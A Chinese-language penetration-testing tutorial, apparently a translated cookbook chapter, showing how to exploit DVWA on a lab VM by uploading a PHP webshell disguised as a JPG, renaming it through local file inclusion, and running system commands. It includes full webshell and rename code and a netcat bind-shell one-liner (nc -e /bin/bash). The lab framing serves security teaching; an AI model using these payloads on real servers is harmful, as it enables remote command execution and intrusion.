1. 极安网首页
  2. 网络安全技术

Kali Linux Web 渗透测试秘籍 第六章:漏洞利用及漏洞提权

这章开始我们会开始涉及渗透测试的的利用层面。和漏洞评估的主要不同是,漏洞评估中测试者识别漏洞(多数时间使用自动化扫描器)和提出如何减轻它们的建议。而渗透测试中测试者作为恶意攻击者并尝试利用检测到的漏洞,并得到最后的结果:整个系统的沦陷,内部网络访问,敏感数据泄露,以及其它。同时,要当心不要影响系统的可用性或者为真正的攻击者留下后门。

本章介绍

之前的章节中,我们已经涉及了如何检测 Web 应用中的一些漏洞。这一章中我们打算了解如何利用这些漏洞并使用它们来提取信息和获得应用及系统受限部分的访问权。

6.1 恶意使用文件包含和上传

我们在第四章中看到,文件包含漏洞在开发者对生成文件路径的输入校验不当,并使用该路径来包含源代码文件时出现。服务端语言的现代版本,例如 PHP 自 5.2.0 起,将一些特性默认关闭,例如远程文件包含,所以 2011 年起就不大可能找到 RFI 了。

这个秘籍中,我们会上传一些恶意文件,其中之一是 Webshell(可用于在服务器中执行命令的页面),之后使用本地文件包含来执行它。

准备

这个秘籍中,我们会使用 vulnerable_vm 中的 DVWA ,并以中等安全级别配置,所以让我们将其配置起来。

  1. 访问http://192.168.56.102/dvwa
  2. 登录。
  3. 将安全级别设置为中。访问DVWA Security,在组合框中选择medium并点击Submit

我们会上传一些文件给服务器,但是你需要记住它们储存在哪里,以便之后调用。所以,在 DVWA 中访问Upload并上传任何 JPG 图像。如果成功了,他会告诉你文件上传到了../../hackable/uploads/。现在我们知道了用于储存上传文件的相对路径。这对于秘籍就足够了。

我们也需要准备好我们的文件,所以让我们创建带有一下内容的文本文件:

<? 
system($_GET['cmd']); 
echo '<form method="post" action="../../hackable/uploads/webshell. php"><input type="text" name="cmd"/></form>'; 
?>

将其保存为webshell.php。我们需要另一个文件,创建rename.php并输入下列代码:

<? 
system('mv ../../hackable/uploads/webshell.jpg ../../hackable/uploads/ webshell.php'); 
?>

这个文件会接受特殊图像文件(webshell.jpg)并将其重命名为webshell.php

操作步骤

  1. 首先,让我们尝试上传我们的 webshell。在 DVWA 中访问Upload之后尝试上传webshell.php,像这样:

    Kali Linux Web 渗透测试秘籍 第六章:漏洞利用及漏洞提权-极安网

    于是,这里对于我们能够上传的东西有个验证。这意味着我们需要上传图标文件,或更精确来说,带有.jpg.gif.png的图像文件。这就是为什么我们需要重命名脚本来还原原始文件的.php扩展,便于我们执行它。

  2. 为了避免验证错误,我们需要将我们的 PHP 文件重命名为有效的扩展名。在终端中,我们需要访问 PHP 文件所在目录并创建它们的副本:
    cp rename.php rename.jpg cp webshell.php webshell.jpg
  3. 现在,让我们返回 DVWA 并尝试上传二者:

    Kali Linux Web 渗透测试秘籍 第六章:漏洞利用及漏洞提权-极安网

  4. 一旦两个 JPG 文件都上传了,我们使用本地文件包含漏洞过来执行rename.jpg。访问文件包含部分并利用这个漏洞来包含../../hackable/uploads/rename.jpg

    Kali Linux Web 渗透测试秘籍 第六章:漏洞利用及漏洞提权-极安网

    我们并没有得到这个文件执行的任何输出,我们需要假设webshell.jpg命名为webshell.php

  5. 如果它能工作,我们应该能够包含../../hackable/uploads/ webshell.php,让我们试试:

    Kali Linux Web 渗透测试秘籍 第六章:漏洞利用及漏洞提权-极安网

  6. 在左上角的文本框中,输入/sbin/ifconfig并按下回车:

    Kali Linux Web 渗透测试秘籍 第六章:漏洞利用及漏洞提权-极安网

    并且它能够工作。就像图片中那样,服务器的 IP 是192.168.56.102。现在,我们可以在服务器中执行命令,通过将它们键入到文本框中,或者为cmd参数设置不同的值。

工作原理

在上传有效 JPG 文件时,我们所做的第一个测试是为了发现上传文件保存的路径,便于我们可以在rename.php中,以及表单的action中使用这个路径。

使用重命名脚本有两个重要原因:首先,上传页面只允许 JPG 文件,所以我们的脚本需要这个扩展名,其次,我们需要带参数调用我们的 webshell(要执行的命令),而我们从 Web 服务器调用图片时不能带参数。

PHP 中的system()函数是攻击核心,它所做的是,执行系统命令并显示输出。这允许我们将 webshell 文件从.jpg重命名为.php文件并执行我们指定为 GET 参数的命令。

更多

一旦我们上传并执行了服务端代码,我们有很多选择来攻陷服务器,例如,下列代码可以在绑定的 shell 中调用:

nc -lp 12345 -e /bin/bash

它打开服务器的 TCP 12345 端口并监听连接。连接建立之后,它会将接收的信息作为输入来执行/bin/bash,并把输出通过网络发给被连接的主机(攻击者主机)。

也可以让服务器下载一些恶意程序,例如提权利用,执行它来获得更高权限。

原创文章,作者: Admin ,转载请注明出处:https://secvery.com/3679.html